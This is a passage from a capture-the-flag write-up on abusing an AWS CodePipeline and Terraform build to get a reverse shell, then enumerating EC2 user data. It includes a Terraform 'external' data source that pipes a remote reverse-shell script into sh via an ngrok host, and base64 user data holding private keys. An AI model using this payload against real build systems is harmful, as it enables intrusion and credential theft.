"pipelineArn": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline",
"created": 1689951914.065,
"updated": 1689951914.065
}
}
We refer to this guide to learn more about CodePipeline pipelines. The first stage gets rawr.zip
from the devsecmeow2023zip
bucket, and uses it as an input artifact for the second stage. We are able to control the rawr.zip
, since we upload it. The second stage has something to do with Terraform, which is a tool for infrastructure as code (which I had no understanding of before this challenge). Let us now look at the CodeBuild project devsecmeow-build
, whose input artifact we control when it is triggered by the pipeline.
We have permissions to do aws codebuild batch-get-projects --names devsecmeow-build
, giving us the following:
{
"name": "devsecmeow-build",
"arn": "arn:aws:codebuild:ap-southeast-1:232705437403:project/devsecmeow-build",
"source": {
"type": "CODEPIPELINE",
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - env\n - cd /usr/bin\n - curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip\n - unzip -o terraform.zip\n - cd \"$CODEBUILD_SRC_DIR\"\n - ls -la \n - terraform init \n - terraform plan\n",
"insecureSsl": false
},
"artifacts": {
"type": "CODEPIPELINE",
"name": "devsecmeow-build",
"packaging": "NONE",
"overrideArtifactName": false,
"encryptionDisabled": false
},
"cache": {
"type": "NO_CACHE"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/amazonlinux2-x86_64-standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "flag1",
"value": "/devsecmeow/build/password",
"type": "PARAMETER_STORE"
}
],
"privilegedMode": false,
"imagePullCredentialsType": "CODEBUILD"
},
"serviceRole": "arn:aws:iam::232705437403:role/codebuild-role",
"timeoutInMinutes": 15,
"queuedTimeoutInMinutes": 480,
"encryptionKey": "arn:aws:kms:ap-southeast-1:232705437403:alias/aws/s3",
"tags": [],
"created": 1689951913.01,
"lastModified": 1689951913.01,
"badge": {
"badgeEnabled": false
},
"logsConfig": {
"cloudWatchLogs": {
"status": "ENABLED",
"groupName": "devsecmeow-codebuild-logs",
"streamName": "log-stream"
},
"s3Logs": {
"status": "DISABLED",
"encryptionDisabled": false
}
},
"projectVisibility": "PRIVATE"
}
The buildspec
is as follows:
version: 0.2
phases:
build:
commands:
- env
- cd /usr/bin
- curl -s -qL -o terraform.zip https://releases.hashicorp.com/terraform/1.4.6/terraform_1.4.6_linux_amd64.zip
- unzip -o terraform.zip
- cd "$CODEBUILD_SRC_DIR"
- ls -la
- terraform init
- terraform plan
It is here where we can see that the first part of the flag is stored in the environment variable flag1
, which is retrieved from the parameter store /devsecmeow/build/password
. The rawr.zip
, which we control, is used as the folder for the Terraform project, which is initialised and planned.
We find some resources about Terraform RCE by using the external
provider, which seemed like something we can do, since we control the Terraform configuration.
We can use the following main.tf
, zipped into rawr.zip and then upload to the devsecmeow2023zip
S3 bucket:
terraform {
backend "local" {}
}
data "external" "rce" {
program = ["sh", "-c", "curl https://reverse-shell.sh/0.tcp.ap.ngrok.io:16936 | sh"]
}
output "output" {
description = "rce"
value = data.external.rce.result
}
This will get a script for a reverse shell and run it on the server. On our machine, we listen using nc -l 1337
, and use ngrok to get a public TCP tunnel. Now that we have a reverse shell, we can print the flag. (Alternatively, for this part of the challenge, we can simply post the environment variable to a request bin by using curl
.)
flag1: TISC{pr0tecT_
From the attached_iam_policy_for_ec2_production_role
policy on the ec2_production_instance_role
role, we can guess that the second flag is in s3://devsecmeow2023flag2/index.html. However, we do not have permissions to access this file. Looking back at the permissions we have on the codebuild-role
that we now have a reverse shell on, we see this interesting permission:
{
"Action": "ec2:DescribeInstance*",
"Effect": "Allow",
"Resource": "*"
}
Referring to the documentation for AWS CLI, the * in the action allows us to have permissions on describe-instance-attribute
, describe-instance-connect-endpoints
, describe-instance-credit-specifications
, describe-instance-event-notification-attributes
, describe-instance-event-windows
, describe-instance-status
, describe-instance-type-offerings
, describe-instance-types
, describe-instances
.
While we cannot do any of the typical EC2 attacks, we can still use the aws ec2 describe-instances
command in the reverse shell console to get the metadata of the EC2 instances available. There are two EC2 instances. The following shows the interesting parts (from one of the instances) of the output of aws ec2 describe-instances
:
{
"Reservations": [
{
"Groups": [],
"Instances": [
{
...
"InstanceId": "i-02602bf0cf92a4ee1",
...
"PublicDnsName": "ec2-54-255-155-134.ap-southeast-1.compute.amazonaws.com",
"PublicIpAddress": "54.255.155.134",
...
}
],
"OwnerId": "232705437403",
"ReservationId": "r-076f2078341159d89"
},
...
]
}
Since the flag is in an HTML file, we can try to see if we can connect to the public IP address with HTTP. However, there is no response.
Continuing to explore the other things that we have permissions for, we finally see something interesting when we do aws ec2 describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData
:
{
"InstanceId": "i-02602bf0cf92a4ee1",
"UserData": {
"Value": "IyEvYmluL2Jhc2gKc3VkbyBhcHQgdXBkYXRlCnN1ZG8gYXB0IHVwZ3JhZGUgLXkgCnN1ZG8gYXB0IGluc3RhbGwgbmdpbnggLXkKc3VkbyBhcHQgaW5zdGFsbCBhd3NjbGkgLXkgCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L25naW54LmNvbmYKdXNlciB3d3ctZGF0YTsKd29ya2VyX3Byb2Nlc3NlcyBhdXRvOwpwaWQgL3J1bi9uZ2lueC5waWQ7CmluY2x1ZGUgL2V0Yy9uZ2lueC9tb2R1bGVzLWVuYWJsZWQvKi5jb25mOwoKZXZlbnRzIHsKCXdvcmtlcl9jb25uZWN0aW9ucyA3Njg7CgkjIG11bHRpX2FjY2VwdCBvbjsKfQoKaHR0cCB7CgoJc2VuZGZpbGUgb247Cgl0Y3Bfbm9wdXNoIG9uOwoJdGNwX25vZGVsYXkgb247CglrZWVwYWxpdmVfdGltZW91dCA2NTsKCXR5cGVzX2hhc2hfbWF4X3NpemUgMjA0ODsKCglpbmNsdWRlIC9ldGMvbmdpbngvbWltZS50eXBlczsKCWRlZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07CgoJc2VydmVyIHsKCQlsaXN0ZW4gNDQzIHNzbCBkZWZhdWx0X3NlcnZlcjsKCQlsaXN0ZW4gWzo6XTo0NDMgc3NsIGRlZmF1bHRfc2VydmVyOwoJCXNzbF9wcm90b2NvbHMgVExTdjEgVExTdjEuMSBUTFN2MS4yIFRMU3YxLjM7IAoJCXNzbF9wcmVmZXJfc2VydmVyX2NpcGhlcnMgb247CgoJCXNzbF9jZXJ0aWZpY2F0ZSAgICAgICAgIC9ldGMvbmdpbngvc2VydmVyLmNydDsKCQlzc2xfY2VydGlmaWNhdGVfa2V5ICAgICAvZXRjL25naW54L3NlcnZlci5rZXk7CgkJc3NsX2NsaWVudF9jZXJ0aWZpY2F0ZSAgL2V0Yy9uZ2lueC9jYS5jcnQ7CgkJc3NsX3ZlcmlmeV9jbGllbnQgICAgICAgb3B0aW9uYWw7CgkJc3NsX3ZlcmlmeV9kZXB0aCAgICAgICAgMjsKCQlsb2NhdGlvbiAvIHsKCQkJCWlmICgkc3NsX2NsaWVudF92ZXJpZnkgIT0gU1VDQ0VTUykgeyByZXR1cm4gNDAzOyB9CgoJCQkJcHJveHlfcGFzcyAgICAgICAgICAgaHR0cDovL2ZsYWdfc2VydmVyOwoJCX0KCgkJYWNjZXNzX2xvZyAvdmFyL2xvZy9uZ2lueC9hY2Nlc3MubG9nOwoJCWVycm9yX2xvZyAvdmFyL2xvZy9uZ2lueC9lcnJvci5sb2c7Cgl9CgkKCWd6aXAgb2ZmOwoJaW5jbHVkZSAvZXRjL25naW54L2NvbmYuZC8qLmNvbmY7CglpbmNsdWRlIC9ldGMvbmdpbngvc2l0ZXMtZW5hYmxlZC8qOwp9CgpFT0wKY2F0IDw8XEVPTCA+IC9ldGMvbmdpbngvc2l0ZXMtZW5hYmxlZC9kZWZhdWx0Cgp1cHN0cmVhbSBmbGFnX3NlcnZlciB7CiAgICBzZXJ2ZXIJbG9jYWxob3N0OjMwMDA7Cn0Kc2VydmVyIHsKCWxpc3RlbiAzMDAwOwoKCXJvb3QgL3Zhci93d3cvaHRtbDsKCglpbmRleCBpbmRleC5odG1sOwoKCXNlcnZlcl9uYW1lIF87CgoJbG9jYXRpb24gLyB7CgkJIyBGaXJzdCBhdHRlbXB0IHRvIHNlcnZlIHJlcXVlc3QgYXMgZmlsZSwgdGhlbgoJCSMgYXMgZGlyZWN0b3J5LCB0aGVuIGZhbGwgYmFjayB0byBkaXNwbGF5aW5nIGEgNDA0LgoJCXRyeV9maWxlcyAkdXJpICR1cmkvID00MDQ7Cgl9Cgp9CkVPTApjYXQgPDxcRU9MID4gL2V0Yy9uZ2lueC9zZXJ2ZXIuY3J0Ci0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQpNSUlEeHpDQ0FxOENGRjRzUVk0eHExYUF2Zmc1WWRCSk9yeHFyb0c1TUEwR0NTcUdTSWIzRFFFQkN3VUFNQ0F4CkhqQWNCZ05WQkFNTUZXUmxkbk5sWTIxbGIzY3RjSEp2WkhWamRHbHZiakFlRncweU16QTNNakV4TkRVd05ERmEKRncweU5EQTNNakF4TkRVd05ERmFNQ0F4SGpBY0JnTlZCQU1NRldSbGRuTmxZMjFsYjNjdWNISnZaSFZqZEdsdgpiakNDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFNWVJxTWMxdXNiUy80eW9KOXFXCjRReEh3RnlIeDZiN01raTR2VkpEOEdvTnlHVVdmVWxrc1VocTg0Wkk0WnBBbjc4dHZvVitsemVXUU53NFhFejIKWDNVM1hJN0FIRmVRWW84V0xjdmFvQWdqMFA3dU0xa2Jub1hVeDU0eXJhQnR5OTh1T0tMRHd1R0QyWk5NeVpqUgp5RTEwMDVlZWhQL21ydEg3NU43Zk44WlgyR0QzMC9IZ0RzM3dVY2ROMU45L0NHV0Y3czZ6U01OS0t5TGJnemQ0ClVsT0lZMWpDUU4wSnlSZlJpa3hmbXVLV2VFbFZDejQraVh2QzhpNjlxUkw0TjYzWDVUTTkwamo5S0l6MUtxY28KZ2tYK21XYVFTQUtrR0tRSTZjaFlqb1ZicVFqakY4MEtPOC8zV0FGY1h3aXIxQzJZNFpubUszWTlvNUo0T3lsbgpCNWVWUmtscXNkTHl2MUtWdTJ4czErZ3JLdEdldDQ5bi9TTk11TXdlc0ZtYjZ0UHMzaE04YUcwdi8wVzVlSVhiCnRCVnd1NFh3T2xJVFdvMVRlL3dtUC96YWk2RllseUxJRXBDRDZMSjkvc2FqcXhZdGFzbFNIbGdJanFUSTlWS28KbmFoRWJqOFhhN1RNck5GYnIyTlk1ejNvTHlwSUNycUUvelB1T2dNQk02RFg1Y25sZnFlQXdJVm5MNVF4UW9RZQpvY3dTRGVBWERJY05kekhlbFVDZ0JpU2pMdzA1NWh3TnNMeC9aUTZZdTdZNFMwaEUxQ1paM2crK1dvSC9rTHhpCmk2cEhvYVRIc0I0Tkl6NURZaVFFeWR5d3pqblg3RkFYcVl3ZjRpWllMSWlTOU02aVhYQjFPTUJndElOVnhnbEEKY0JVNTQrSTR1NGgvQ1VralBZUHM4eDExQWdNQkFBRXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBQ29DUVo1ZQo4YTRSZ01Pb2VxaWFpS0Y0eFZLOEtRR3RFVUtqSWVZVDRMSWVWRlJocEI1bS9SV3hqMmRzaEhOcjFiSldGUCtICmlyZWNVaXNxTGtwbUFaUlRHR2JLOThoTjFtdVY4NUxSc3lRVGZlc1ZOQ1Q4QXozZzBVVUZONnJRZE1vQXFuOTcKbEEvcEs0TjdOeGk3SERoYWlwWlE2dVBjR1ZRa3JjS09TY3hxN1kxSUoxTnEwcXBLbHJ4MlFJekIzcnBFMUNwbQplWVgxcUhxZ2ZMYytXR2J3RmZXRjlyYVNHMGJiTG1CK2tyWHRUVUVxb3JUdHI0UlVRM0pDaDBtb0o1VG9VZ3pjCnFhWWRLVjg3SmRBc2g4OERjOFI0eEV5K0NnbVAwVGVjc2R1NHZwK1FHTElGeUtWWFYxblBXRjJpaHo4WGVsTGUKS2lOaWk3YjZWNDNIU3JBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpFT0wKY2F0IDw8XEVPTCA+IC9ldGMvbmdpbngvc2VydmVyLmtleQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tCk1JSUpLUUlCQUFLQ0FnRUF4aEdveHpXNnh0TC9qS2duMnBiaERFZkFYSWZIcHZzeVNMaTlVa1B3YWczSVpSWjkKU1dTeFNHcnpoa2pobWtDZnZ5MitoWDZYTjVaQTNEaGNUUFpmZFRkY2pzQWNWNUJpanhZdHk5cWdDQ1BRL3U0egpXUnVlaGRUSG5qS3RvRzNMM3k0NG9zUEM0WVBaazB6Sm1OSElUWFRUbDU2RS8rYXUwZnZrM3Q4M3hsZllZUGZUCjhlQU96ZkJSeDAzVTMzOElaWVh1enJOSXcwb3JJdHVETjNoU1U0aGpXTUpBM1FuSkY5R0tURithNHBaNFNWVUwKUGo2SmU4THlMcjJwRXZnM3JkZmxNejNTT1Awb2pQVXFweWlDUmY2WlpwQklBcVFZcEFqcHlGaU9oVnVwQ09NWAp6UW83ei9kWUFWeGZDS3ZVTFpqaG1lWXJkajJqa25nN0tXY0hsNVZHU1dxeDB2Sy9VcFc3Ykd6WDZDc3EwWjYzCmoyZjlJMHk0ekI2d1dadnEwK3plRXp4b2JTLy9SYmw0aGR1MEZYQzdoZkE2VWhOYWpWTjcvQ1kvL05xTG9WaVgKSXNnU2tJUG9zbjMreHFPckZpMXF5VkllV0FpT3BNajFVcWlkcUVSdVB4ZHJ0TXlzMFZ1dlkxam5QZWd2S2tnSwp1b1QvTSs0NkF3RXpvTmZseWVWK3A0REFoV2N2bERGQ2hCNmh6QklONEJjTWh3MTNNZDZWUUtBR0pLTXZEVG5tCkhBMnd2SDlsRHBpN3RqaExTRVRVSmxuZUQ3NWFnZitRdkdLTHFrZWhwTWV3SGcwalBrTmlKQVRKM0xET09kZnMKVUJlcGpCL2lKbGdzaUpMMHpxSmRjSFU0d0dDMGcxWEdDVUJ3RlRuajRqaTdpSDhKU1NNOWcrenpIWFVDQXdFQQpBUUtDQWdFQWppcWV1bDRXY2grQXpiVGs1a0RseDZxNHA3SE4zRXp4Q3NHUElqMGhrdjNSbUwxTHNDSldIV1NtCjV2dm84bzd3R29qNjkxYWxzNEJsamF2bWxGZENyUi9QajZiVXNRVXh1UUp5WEovUHZnZjNPd1ErVnZjOEVWTm8KOUdQcnUvc1RHbDVTeUlFNm9DUERSN2NWL0ZxWEt3RnYzcVFwVW9TQmRyY1d6K0hvWnJVbTJuTUg3ZFNreTZ4egpCbHNYTUZROThxRHZoKzJuaklUdjhWVWVHZktESlBJQVhQVVJHWmFzZ0N3bTJDckhRVncvZW1OUWJwejBrYUNiCnRIRHRxbS8vaHdndnUxZmtUSU5wVjhPaG1kbTVxQVBXbDRkNEtHMGdRcDBqTUdwZjRkaW91M2hFM1NjN1IwcUMKSUhmc3ZveVcveU44eXJvcTkvUEdOSnVYMjEvWVVmQWtta3JvcGxneWtxNGZ3ZFlEcXFYcnYzRVE0WnAwalRRNAozUGVvTlZPTVlBTlZvU3dZL2Zvajl5d1hZUGxLUy9pZW5TUGdtblVFd2VXUk1NeW5LOWNoWUY1WHlCY0hLWVROCjRXbEJuQTl1SERxdE93L09GbVJwOXFabnN2OG5GaWFVVkxXY2xSRzdPdjRVbXVhbis3V2Mybzdja05iZTY3ZTMKdmt5Q0t1cDRiTTFZMnJISWhrSGdmZXVhb1NjbVNmMHBOYzA2VUlFZVE1VXNzMmJKYm9ZeGtTeldkVkhFQWhidwpmTXB5R1dMV3EzaVFOU3lsNEVLd2lJUWFzUktFcEhUN2RTcTJhTjVCZCt6N2w4eTVzNUNtYlVqTk9Gem1NZHhVCjFnRHZKVFE2M3ZPV1FoR2FlUDRiWTY1N0crbEJhVjZFT2ZlbHNQMGRZdCtZUnBpWWNBRUNnZ0VCQVBsUWJRN0oKOCtDSmZ2aFNUVWR6YnNrdGZObUVoendDdUJYYkZQV1pRdlhiWkpaUXpHWFRGTTM2MFpUUFNyMnlXMkQ2TnlMdgpsc2toTktmWEVSbHNub0drK0FuOUl1VUVKQlpnaDhEODhnb0xhL2JjTUxZVldKNVg3cFZ5dlRpZEtTQnc5V2cvCllWZDBqdVFXdVBTQjRLMW1IWnhuZk1JSHNDWWNMcXZ5QTlPSFJJbmFiN3F2K0o0QXh0MnJudTd1ajFSVnJaMVoKQnd3ZmtQNEtveStHcmUxalhuVTRuMkV6RjlSWmdjcXAxZ1JRS3I2V0xDVlQ1c2RQSWZGV1NDSWZEREtxaHdRSgpKU0toL0ttK09NWndGZXNXbFVSOW0rNk1RbGJRZ2JoWCsvKzRxdGIrdGttNXZ5OFVzRDdBZ2RJMTIxRlpkSlRVCkx5QlEwNnlreFJoOGt5VUNnZ0VCQU10aGJiQ0d4cStCaGNRbFNtUU9jTXdaVncwMVhsQnQxcDN0L2ZNVFhGVGwKdE9tWExjQlM4SHhOclMxS0V2alovZmJMU2tLdVdyRi93SlRtb0FEYVlCa1hId2lpMko5blBLVk9mVlZmSlZBVAp3bDlCcllZSzRTK3lqeHBFY3I2VFhPN1JGRmNpS3MyWlhhdkJvUU9ObEhLNlZUb2o4SUhzV3VoUXZFYjVOcmp4CnVaSkxMd0lnOXB5ODZNYStMd1FmU25ycWJGaFowMFlORVJrTkxqblZCNFNDd3MzZHR2Z2JxYjc0b20xVjhveUoKSk1GNSsvYStWYXpENmJJVjhRdUo3SHZqWWRLOWdWWS9UcFV1S3UvaldtVVkxR0phSmRORU42ajlLdk1MdUozYgpqbmd2YWpGRENoMnBDM1h3a3hNcGFBNzBMWk5jZ1R3cElqeDFBdFNrZUJFQ2dnRUFCdkZQYUNjRmpJNG5wQUNlCnVFdWxuU0tRSkhxRlRZMkIxTkg1L25EYkpYK0xpSWdOZVJSc3N1TzJMRit0WkNUd1dIMy9SUkRJOFNia2tYdnkKdFBPS1ltL1duR2laTFNsMVc4NHFXWnh4blFmK1pLeHpDczhEWGIxekhtUklrcWdGdWlxTEd2RVE0OStTRHhYMgo1cEFyVW9qU2NFV05ldFc5K1FHMTV3SGhTMldyNmU3VVI2Mll6Y1dWeEJ5QVc0VDNKdEVQK1o2K0RIOWdpVUtBCmt0VThTSzBJdDFqeFQwS2Qra0xYMDIzeFVNTnV2VW52UnNiVVdWNkJ3bmUxb0lXZTBGWmhWaUp2RDB6VmZXQ1gKc2lieTVVNEdzQmFUWGd3MzJMVUx0N2R6aEFaL2MyYzZha2txNHNPL3VLK2hyZG5rRnByWUhVRGZZeFg5SHdTagpuRy96cFFLQ0FRRUFydUlPVWpieWJrUXY1Q1EwdmFqMU1XdXd3VGpjNnNnb1BoRkJ4MTBramhRZjVxVUt3RkFSClhySGtjZ2M2SFNaR0RZdHRSYjFyV3lvQlRZaXFtVkV1UlNUdW1KeC9MVUsya1diV3V5eGZoMllXUTViVVFXamwKamdBNnNWbWVXV1dhQ2ZsYlJqbXBHTFlDS0FrT0RXSVcvamhmeE9qV2pNSFN3ZVY2b0lUM216eXdWNjJ5dEYvbgo3NHM1bG53L0xZcENuME1vK3lmeVZsQXlIWnFKMzB6aGMvNkV5RVVZYW14UElGbm9RYUFnT3R4SzhOdVYzK3gyCisySlRkOEVLVHVQQXFCODBKT1N6YkpodldEUWswN1pxS25pWldDRXdXV1JWZ0VpQ1FCQWFKaE4vaExVdzJUOU8KV1liY3hnT2lWRjNNanQ5RXVXeFg3SVZxWFJZNDR1U3lJUUtDQVFCZ0pyd1FScFovSVNzeEptMmZKWElqc2V6UQpNUHhGZU1FUU1ENXRqaU51MXlYdFlJVFJIZy9HK2NGdkdIVmc0UExXN1owOTM0TjEyeFdycElBdE00QmxDMlpzCklMSitmQjNxWkZMb01KS21zWndWSFphd1hpZGk3d25RQVN2cFlEaXhTOTlYQjJlY2NRR2dpeVRmTVU1UXdPVjYKUGtvZmhqeWVCYlNwekZ0cHRIekpGdUVpdy8ycmRrd0xFWkdQT2k4elArNVQybTdDeWFVdWppb3o3b3B1U3JFcgp3dnA5YXl6TFRXWnRuK2hJTDhIVE9WRmp6VHhuTjNXQ2JiUlB1R3A3TFlSNnI0UmQyRVM3dHFaaFV1UnFza05FCjNuR1RRNlFLNTBqdFZXQjl4b3NKbzRoZEFFS1krOW14NmlaUUp4bEFmOWJuaURoWkVpdWJ4RjhxcXMxSAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQoKRU9MCmNhdCA8PFxFT0wgPiAvZXRjL25naW54L2NhLmNydAotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJRElUQ0NBZ21nQXdJQkFnSVVRM1NOL0ljN1QyeDF2NmNBNmdLUFV4TlNsTmd3RFFZSktvWklodmNOQVFFTApCUUF3SURFZU1Cd0dBMVVFQXd3VlpHVjJjMlZqYldWdmR5MXdjbTlrZFdOMGFXOXVNQjRYRFRJek1EY3lNVEUwCk5UQTBNRm9YRFRJME1EY3lNREUwTlRBME1Gb3dJREVlTUJ3R0ExVUVBd3dWWkdWMmMyVmpiV1Z2ZHkxd2NtOWsKZFdOMGFXOXVNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQXhOa3NrYmI3bnFSRApuVk1GSnJXUVVZdUNVUnlZam5jR1ZaVEVGek8xY09PRUFSMzVEbWNSdVZnV1RBQ1VKZFJScWI2bEwvN1ZiZmdtCjFUVjh2ajd4L3FOY2lFdmQ0L056b3RsQlhZQ1hKTGlsTEZVeWR4dUVxenB4WDlmQ0d4UUowbnNLRHN3WXVVcGkKN2lyZTk1Mnk4WUFsdS9EQUFwZndtL0s4clMyZWR2dkoyMndyMVF6bm1FSWVkZjNHRkkzZ2lGZ3lpQjgxYm1xcwpXK3ZMd2Q1OTlzZVNWYzQ4c200VmRJYncxS3hRclFWVTlSd3I3VnlSN2ZyRklpdFBJcFRSZkQ2UC92WkFaU21kCmljUEFxKzJpREdqMVlFeTRBZlJzbithaDdYUXFwNVpDNGlaY2NaaWRIR1ZsSFNtc0RYcUoya3B3ZXVZb1ZDenkKSGpNSXVQcWtEd0lEQVFBQm8xTXdVVEFkQmdOVkhRNEVGZ1FVcjg3cUxmK0lmR3Jma1lhamRJdHFNRnpieTc4dwpId1lEVlIwakJCZ3dGb0FVcjg3cUxmK0lmR3Jma1lhamRJdHFNRnpieTc4d0R3WURWUjBUQVFIL0JBVXdBd0VCCi96QU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FRRUF1bTQxUjQ2ajZPbHFtcWR2RWd0M0Q1cENzVGE3ZndmYnZkcXAKRmdTbHNHcnd0UnpBeEVUWVBqNmQra1lsaUZJL1o0NnRFM3gxNUY1emlzUFBUM0YvSGpxekxQSkJ2Q1FXamlIVworblJuaXFuNU96d2dDc0tCOGtJVk8wMXRFMDJpYld5SXpMMTVzOEl2ek5UREgvV1VVZjFZdk4vUUtydnI3TkMxCmZHdWkvMzR3L1Npa2MxY2t1YXlPTTZCNnloZjJXb0N0Qy90eGFHQnhTYTk1dHFTQUR4aXcyWDRydTd2dURxSk8KVE5WWnJVM0lrRENVaFJTeHZjZXNtNG9mMEIyMUdDbXBjVUFVNzVBK1VGM3NsOGpGVE5mOG9NRlp6VzE3VzRiZwp0TWRhZDJQdmw5SUwzYldqVDB1V01PVTd1RldIUkZDS0VWcnpDeko2c1VkeWFtd3NMZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KCkVPTApjYXQgPDxcRU9MID4gL2V0Yy9uZ2lueC9jYS5rZXkKLS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2d0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktrd2dnU2xBZ0VBQW9JQkFRREUyU3lSdHZ1ZXBFT2QKVXdVbXRaQlJpNEpSSEppT2R3WlZsTVFYTTdWdzQ0UUJIZmtPWnhHNVdCWk1BSlFsMUZHcHZxVXYvdFZ0K0NiVgpOWHkrUHZIK28xeUlTOTNqODNPaTJVRmRnSmNrdUtVc1ZUSjNHNFNyT25GZjE4SWJGQW5TZXdvT3pCaTVTbUx1Ckt0NzNuYkx4Z0NXNzhNQUNsL0NiOHJ5dExaNTIrOG5iYkN2VkRPZVlRaDUxL2NZVWplQ0lXREtJSHpWdWFxeGIKNjh2QjNuMzJ4NUpWemp5eWJoVjBodkRVckZDdEJWVDFIQ3Z0WEpIdCtzVWlLMDhpbE5GOFBvLys5a0JsS1oySgp3OENyN2FJTWFQVmdUTGdCOUd5ZjVxSHRkQ3FubGtMaUpseHhtSjBjWldVZEthd05lb25hU25CNjVpaFVMUEllCk13aTQrcVFQQWdNQkFBRUNnZ0VCQUtBQmc3ZmlDLzkwdUQwdVdYYVFpUUd2cTdyd3lwU3E3U3d0WTRNVWxmeHcKQTBIQk1rdmh2Y2R4Y1paUHRoeFZ6QmQxRHVMSGVvY0wrY3krMEduMzBrN1FUUXZBMTFsTjc0WEVvTnczQlNSbApMbVd0enZxQUZNUDJHbWYwZ2lQdWt0bFRCK2JsUVllRGpvelhyaXVLTlFVV3pCVkxhVmZ5VnpMOENSK2ZnRHBuCm5VYWk3UDB0aFQ4TWp4WGVzVnZmMWprcTR5WnFQTU9MTkxZRXVVbjVHK09rTkNIb3FyYzRVZC9GdDFscWQ0ZjEKeXZKKzlJREJaMjk4K0hoQ25sd3laK2lwVFpGVGNnelY2by9mNEhxMGhmaXFHeDBlczBHdCtqdGtwUjk5QVM0QQp4R0dVOUNNeTJiS2s3azVhYW9pbjdkbGppSWNUckNrV3NuQ2dhVkhQTkxrQ2dZRUE0YlcwQW1IV0ZtekFCVC9UClR6emdRS0pzRnZ3dktEV09KaURWVGN6WmxUZlhlV2NNOVdRdEFlY0FrMlp4QVpxdHFYRWF0emhXc0dJdm14TXIKek1LejlSTHh4UnN0dFY0eHpSd0RmY2pLelJ1WkFWMHhYUHNJdWFaUHB6cnFDWDh1RnJ2aGlqZjhwcld1TEZacgoybUM3a3hWVnBmRGpPNjhlNzRZSlZTS21PZ1VDZ1lFQTMwUHVhMHZPUFhGTDJoOFRjYmpHOUZ5VHhpZDRPUVdFCnMxSWlMWVJ3M2pWVldsSjJnQWxaNGV5K3pURzE2MnpWNFYyeUhyWkYyM2VzNDV5b1dnU1Jaa3h1ZmtRWTlDSmkKWE1YZjBxZHlDMWxWaC9uYUpYZHo1QVlyNUt3eUR2OVVLakpjNnZ1YmN1U21ENmg2SDNRT2drWmVvQ3Q3NWx3eQpqS3d3U1JSTC9nTUNnWUI0QW9McDJWZFpxUTBZUFcxL2JpRFdmUVgzMnJMQU1HbWFnRTZxQlVlVGZaT0dLM0xLCmJ5ODNHYnBHcFd0a3JQZTFaandNTzFwc2dtaEpqaEgxMTNpVDBEVFkxckNoQktwNkluRUF5bWg2VWpneWIzaTEKdFl4WUdjTzBhVERUUjlvYm9GNDFmYnRLY01OaE03bzQ3TUlQWElLanJzZERqc05tRytDT2NkUHNlUUtCZ1FDNQpuaXFiL2R3cmJRUVpCZmtPZFFiRHBpd2RkRGNaZ1NNQVN1cXJXUTdWVHhYMUQ5WUJRTVQvZGVwemdqNnl5anRQCk1LeWpwL3FRS2dFTkF2TmNVNnZtbHVqT0JTT1I1UHhPRVJ5eWNBLzZxM3pXbmJ6bHBWZ3VYWXNraEp6aHB4bDgKTTM3WXhmSkpKUnVDclJsTENSdis1eTVJajU1a3VJWTJPZm15NkRMOXJRS0JnUURlZlRnaVNLVklsTXBaUmlHdApWT0FEME1GZGEvazl0cFRQVDlIZGxMNGI0NG1rTnpQYWlsSkFUSDBYTERxU3d1WG40d0pFZ01Bd3FiTThDR1NvCk9wYXIzZml4U3JpS2t3dVR1RHk4Zk0xZGJwallDaThyS3N3R1VMVHZwRkhKUVpTRHU0K3NDRHhiWlV2OVZUQVMKYVV3ak9lWXlJWmlCK1NRdC9rVVVabTFhY0E9PQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tCgpFT0wKYXdzIHMzIGNwIHMzOi8vZGV2c2VjbWVvdzIwMjNmbGFnMi9pbmRleC5odG1sIC90bXAvCnN1ZG8gY3AgL3RtcC9pbmRleC5odG1sIC92YXIvd3d3L2h0bWwKcm0gL3RtcC9pbmRleC5odG1sCnN1ZG8gc3lzdGVtY3RsIHJlc3RhcnQgbmdpbngK"
}
}
Decoding the Base64 value, we get the following:
#!/bin/bash
sudo apt update
sudo apt upgrade -y
sudo apt install nginx -y
sudo apt install awscli -y
cat <<\EOL > /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_certificate /etc/nginx/server.crt;
ssl_certificate_key /etc/nginx/server.key;
ssl_client_certificate /etc/nginx/ca.crt;
ssl_verify_client optional;
ssl_verify_depth 2;
location / {
if ($ssl_client_verify != SUCCESS) { return 403; }
proxy_pass http://flag_server;
}
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
}
gzip off;
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
EOL
cat <<\EOL > /etc/nginx/sites-enabled/default
upstream flag_server {
server localhost:3000;
}
server {
listen 3000;
root /var/www/html;
index index.html;
server_name _;
location / {
